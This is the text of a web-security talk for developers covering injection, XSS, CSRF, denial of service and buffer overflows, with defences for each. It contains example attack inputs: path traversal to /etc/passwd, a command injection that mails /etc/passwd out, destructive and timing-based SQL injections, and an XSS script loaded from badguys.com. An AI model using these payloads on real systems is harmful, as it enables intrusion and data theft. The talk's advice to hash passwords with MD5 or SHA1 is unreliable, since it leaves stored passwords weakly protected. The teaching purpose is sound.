Web Security 101

Michael Peters
Plus Three, LP

Web Security 101

(for developers)

Michael Peters
Plus Three, LP

You Do Not Control The Client

- All Input is EVIL!
  - URLs
  - GET/POST parameters
  - Cookies
  - HTTP Headers
- Client-side security can be by-passed
  - Although there are cases where it's important (*like DOM Based XSS attacks*)
- Be strict on validation. White list, don't black list.
- There are no easy solutions. Security needs to be everywhere.

Know Your Tools

- Each language is different and has different strengths and weaknesses
  - yes, some languages are weaker than others




- How abstract are your tools?
  - Code generation or compilation?
  - Do you trust the security track record of your vendor?

Kinds of Attacks

- Code Injection
  - system commands
  - SQL
  - HTML
  - Javascript
- Cross Site Scripting (XSS)
- Cross Site Request Forgery (CSRF)
- Denial of Service (DOS)
- Buffer Overflows

Code Injection

System Commands

Creating filenames based on user input

```
my $user_id = $q->param('user_id');
my $pic = "/some/path/pictures/$user_id.jpg";
open(PIC, ">$pic");
print ...
```

Code Injection
System Commands

Creating filenames based on user input

```
my $user_id = $q->param('user_id');
my $pic = "/some/path/pictures/$user_id.jpg";
open(PIC, ">$pic");
print ...
```

?user_id=..%2F..%2F..%2Fetc%2Fpasswd

Code Injection
System Commands

Creating filenames based on user input

```
my $user_id = $q->param('user_id');
my $pic = "/some/path/pictures/$user_id.jpg";
open(PIC, ">$pic");
print ...
```

?user_id=../../../etc/passwd

Code Injection
System Commands

Using user input in system commands

In Perl, system commands are executed using `system()`, `exec()`, ``, `qx()` and sometimes even with `open()`

In PHP, system commands are executed using `system()`, `exec()`, ``, `passthru()`, `popen()`, `pcntl_exec()`

```
$user_id = $_POST{'user_id'};
$pic = "/some/path/pictures/$user_id.jpg";
if (`ls $pic`) {
    ...
}
```

Code Injection
System Commands

Using user input in system commands

In Perl, system commands are executed using `system()`, `exec()`, ``, `qx()` and sometimes even with `open()`

In PHP, system commands are executed using `system()`, `exec()`, ``, `passthru()`, `popen()`, `pcntl_exec()`

```
$user_id = $_POST{'user_id'};
$pic = "/some/path/pictures/$user_id.jpg";
if (`ls $pic`) {
    ...
}
```

`?user_id=;sendmail mpeters@plusthree.com < /etc/passwd`

Code Injection
System Commands

Filenames: Strip out any “upwards” paths, and make sure that files are relative to a safe “root” (not the filesystem root or even your document root).

```
my $path = $q->param('path');
$path = File::Spec->no_upwards($path);
my $pic = "/some/path/pictures/$path.jpg";
```

Code Injection

System Commands

Anything else: Be strict on validating what you're passing.

- If it's a numeric flag, make sure it's numeric.
- If it's string, make sure it's a valid option, validate length, etc.

Code Injection
System Commands

Bonus: Perl's taint mode

- Using `-T` or `PerlTaintCheck On` in mod_perl
- Automatically prevents any outside data making it's way into a system command without being specifically untainted by the developer
- Not a magic bullet, but a very good safety net.

SQL Injection

Assembling Queries

Similar to Code Injection attacks, this attack relies on the developer using some user input as part of an SQL query.

```
my $search = $q->param('search');
my $sql = "SELECT * FROM clients WHERE name =
  '$search'";
```

SQL Injection
Assembling Queries

Similar to Code Injection attacks, this attack relies on the developer using some user input as part of an SQL query.

```
my $search = $q->param('search');
my $sql = "SELECT * FROM clients WHERE name =
  '$search'";
```

Can be used to delete data

```
?search=';DROP ALL TABLES
```

SQL Injection
Assembling Queries

Similar to Code Injection attacks, this attack relies on the developer using some user input as part of an SQL query.

```
my $search = $q->param('search');
my $sql = "SELECT * FROM clients WHERE name =
  '$search'";
```

Can be used to corrupt data

```
?search=';UPDATE clients SET name=blah
```

SQL Injection
Assembling Queries

Similar to Code Injection attacks, this attack relies on the developer using some user input as part of an SQL query.

```
my $search = $q->param('search');
my $sql = "SELECT * FROM clients WHERE public = 1
  AND name = '$search'";
```

Can be used to steal data

```
?search=foo' OR public = 0
```

SQL Injection
Assembling Queries

SQL Injection attacks can even be used in places where the data results aren't shown to the user.

```
my $user = $q->param('username');
my $sql = "SELECT password FROM users WHERE
  username = '$user'";
```

Using a "timing" attack we can see how long the queries take to return

```
?user=' UNION SELECT IF(username LIKE
'a%',SLEEP(3),null) FROM user WHERE user_id=1
```

In about 30 tries an attacker could get the a user's password

SQL Injection
Assembling Queries

Don't try and escape user input

- See PHP's `magic_quotes()` vs `addslashes()` vs `mysql_escape_string()` vs `mysql_real_escape_string()`
- It's error prone, it's hard to get right.

Always use "bind" variables in your DB library

```
my $user = $q->param('username');
my $sql = "SELECT password FROM users WHERE
  username = ?";
my $sth = $dbh->prepare($sql);
$sth->execute($user);
```

SQL Injection

Assembling Queries

Sometimes you can't always use bind variables. In these rare cases, be extremely strict in your validation.

```
$limit = $q->param('limit');
$limit = 10 unless $limit =~ /^\d+$/
  || $limit > 50;
my $sql = "SELECT * FROM users
  WHERE first_name = ? LIMIT $limit";
my $sth = $dbh->prepare($sql);
```

SQL Injection
ORMs, Libraries, etc

Just because you are using an ORM or other library to assemble your SQL doesn't mean you can turn off your brain:

```
use SQL::Abstract;
my $sql = SQL::Abstract->new();
$sql->where({
    public => 1,
    name   => $q->param('search'),
});
```

SQL Injection
ORMs, Libraries, etc

Just because you are using an ORM or other library to assemble your SQL doesn't make you immune:

```
use SQL::Abstract;
my $sql = SQL::Abstract->new();
$sql->where({
    public => 1,
    name   => $q->param('search'),
});
```

?search=blah&search=public&search=0

SQL Injection

ORMs, Libraries, etc

Just because you are using an ORM or other library to assemble your SQL doesn't make you immune:

```
use SQL::Abstract;
my $sql = SQL::Abstract->new();
$sql->where({
    public => 1,
    name   => scalar $q->param('search'),
});
```

```
?search=blah&search=public&search=0
```

XSS
Cross Site Scripting

Injecting Javascript (or other scripts) that will run on behalf of another user. This code usually steals cookies (authenticated credentials) of the person who "sees" the infected web page.

```
<script source="http://badguys.com/stealstuff.js">
</script>
```

Exploits a user's trust of a site.
Can be combined with phishing or CSRF to steal all kinds of things.

XSS
Cross Site Scripting

Any site that takes input from user is subject to XSS. Even if that input isn't shown on any public facing site.

- Comments
- Petition form that shows a list of signatures
- Contact form where the data is stored and shown in an Admin screen.
- Putting data from URL into the HTML

XSS
Non-Persistant

User finds a way to embed their malicious content temporarily in another web site. Usually as part of a URL.

- Alice sends a specially crafted search engine link to a mailing list.
- Bob posts a malicious link on a company's help forum that a help desk employee clicks on.
- Easy to combine with phishing or social engineering

XSS
Persistant

User submits mailicious code that then becomes permanently attached to a site. Usually some sort of <script> tag.

•Alice updates her profile on a site with a malicious "description". When her profile is seen by another user it can steal that user's auth credentials.

•Alice's profile information is seen by an admin of the site in some admin interface. This now give's Alice admin credentials.

•The MySpace worm

XSS
DOM Based

Similar to Non-Persistant XSS, this attack relies on a site having client-side scripting that manipulates the DOM. Unlike the Non-Persistant variety, this attacks client-side security.

- Bob creates a malicious URL for a site that uses JS to insert content into the DOM thus exposing anyone who clicks on that link to credential theft

- Alice's profile information is returned via JSON and inserted into the DOM by a site's JS and exposes users and admins to credential theft.

XSS

Common misbelief that user input should be **escaped** before storing.

- False sense of security because you don't know how this information will be used.

- This causes problems when you want to use this data in a non-HTML context (spreadsheets, pdfs, etc)

XSS

Non-HTML User Input

User input should be **validated** when received and **escaped** when used in output.

- Each field is different and should be carefully validated. Validate the type, the format and the length.

- Output needs to be escaped based on how it's used. HTML, URL, Javascript or CSS escaping.

XSS

Non-HTML User Input

Perl's HTML::Template as an example

```
<td><tmpl_var first_name escape=html></td>


var name = '<tmpl_var first_name escape=js>'


<a href="search?first_name=
  <tmpl_var first_name escape=url>">Search</a>
```

Doesn't currently support CSS escaping (which is tricky to get right, so please avoid putting user content into CSS).

XSS

Non-HTML User Input

Perl's Template Toolkit as an example

```
<td>[% first_name | html %]</td>

<a href="search?first_name=
  [% first_name | uri %]">Search</a>
```

- Doesn't currently support JS escaping
  - escaping the following characters with a backslash

    \ ' " \r \n
- Doesn't currently support CSS escaping (which is tricky to get right, so please avoid putting user content into CSS).

XSS
HTML User Input

Avoid accepting HTML input from users whenever possible. But sometimes it's unavoidable.

- Filter the HTML to an acceptable subset
- Whitelist, don't blacklist
  - Which elements do you need to support?
    - Never accept `<script>` or `<style>` elements
  - Which attributes do you need to support?
    - Never accept `on*` events, `style`, `javascript:` in URLs (`src`, `href`, etc)
- Even with a good HTML filter/parser it's still really hard to get right (see MySpace worm).

CSRF

Cross Site Request Forgery

A malicious site executes some resource on another trusted site that you already have a relationship with. This code is executed in the context (cookies, current authentication, etc) of that trusted site but the user is unaware of the action taken.

Exploits a site's trust in it's users. Can also be combined with XSS to eliminate the need for a malicious site. One trusted site is used to attack another trusted site.

CSRF

Cross Site Request Forgery

Examples:

- By visiting a malicious author's site, his book is added to your Amazon.com shopping cart.

- Visiting a malicious site causes you to send out spam email from your web email service (like gmail, hotmail, etc)

CSRF

Cross Site Request Forgery

Block important actions (add, delete, update, email, buy, etc) that come from any referrer (HTTP `Referer` header) that isn't you.

Caveats:

- Some earlier versions of flash could be tricked into spoofing HTTP headers (require a newer version)

- IE6 has bugs that prevent the `Referer` header from being sent all the time (these are rare and strange, and can be worked around).

CSRF

Cross Site Request Forgery

But can't HTTP headers be faked?

Yes, but CSRF requires that the Person using the browser not know that the malicious code is running on their behalf. Users aren't going to fake their own HTTP headers when trying to attack themselves.

CSRF

Cross Site Request Forgery

Another solution if you can't block by referrer is to use per-user unique tokens on every request that expire periodically.

They are added as hidden fields to forms, or extra parameters on URLs.

Caveats:

- Really big application change
- Usability is hurt if they expire too quickly.
- Security is hurt if they live too long

DOS
Denial of Service

Lots of useless requests that overwhelm your system and halt services from legitimate customers.

- Lots of individual requests
- Massing amounts of data in POST requests
- Requests for seldom used, resource intensive URLs

DOS
Denial of Service

Can usually be defended against by identifying IP addresses and blacklisting.

- Can block at the network level (firewall, router, switch)
- Apache can use mod_security or mod_dosevasive, or both

DDOS

Distributed Denial of Service

Same as DOS but not coming from a single (or small group) of IP addresses. Lots of machines in lots of different locations.

- Usually involves Botnets or Malware
- You've pissed off the wrong people
- Really hard to defend against.
- Really hard to distinguish from a large spike in legitimate traffic.
- You need some serious hardware and some help from your ISP.

Buffer Overflows

Attackers craft malicious requests that cause incoming data to spill out of the bucket the programmer intended it to go. This can let the attacker overwrite existing data and code to be whatever they want.

Only a problem when using low level system languages like C or C++. Programmers that use interpreted or VM languages have to trust their implementations to avoid them.

Buffer Overflows

Don't write web systems in C (or C++).

Sometimes you need to use C for some fast data processing (graphics, xml parsing, etc). Be cautious, use lint tools and try and use a popular open source alternative if you can.

If you screw this up it, the consequences can be scary.

Misc Tips

Never, ever, ever, ever create your own encryption algorithms.

There are too many good, open and verified encryption libraries out there to be stupid enough to try it by yourself.

Encryption is hard and I can guarantee you that you aren't smart enough to get it right.

Misc Tips

Never, ever, ever, ever store passwords in plain text.

Don't even encrypt them. Use a 1-way encoding/ hash like `crypt()`, `MD5` or `SHA1`.

Don't just encode, but use a one time salt/secret to make the hash even more secure. Otherwise you're vulnerable to "rainbow tables".

Misc Tips

Never, ever, ever, ever store passwords in plain text.

Don't even encrypt them. Use a 1-way encoding/ hash like `crypt()`, `MD5` or `SHA1`.

Don't just encode, but use a one time salt/secret to make the hash even more secure. Otherwise you're vulnerable to "rainbow tables".

Misc Tips

Avoid leaking information through your error messages.

We've all seen those web pages that show you an error message about some internal problem the server is having. The standard PHP "Can't connect to MySQL" error is everywhere.

Use a custom, generic error document that's served when this happens. Not only is it more professional (looks like the rest of your site) but it also prevents attackers from gaining knowledge about your system.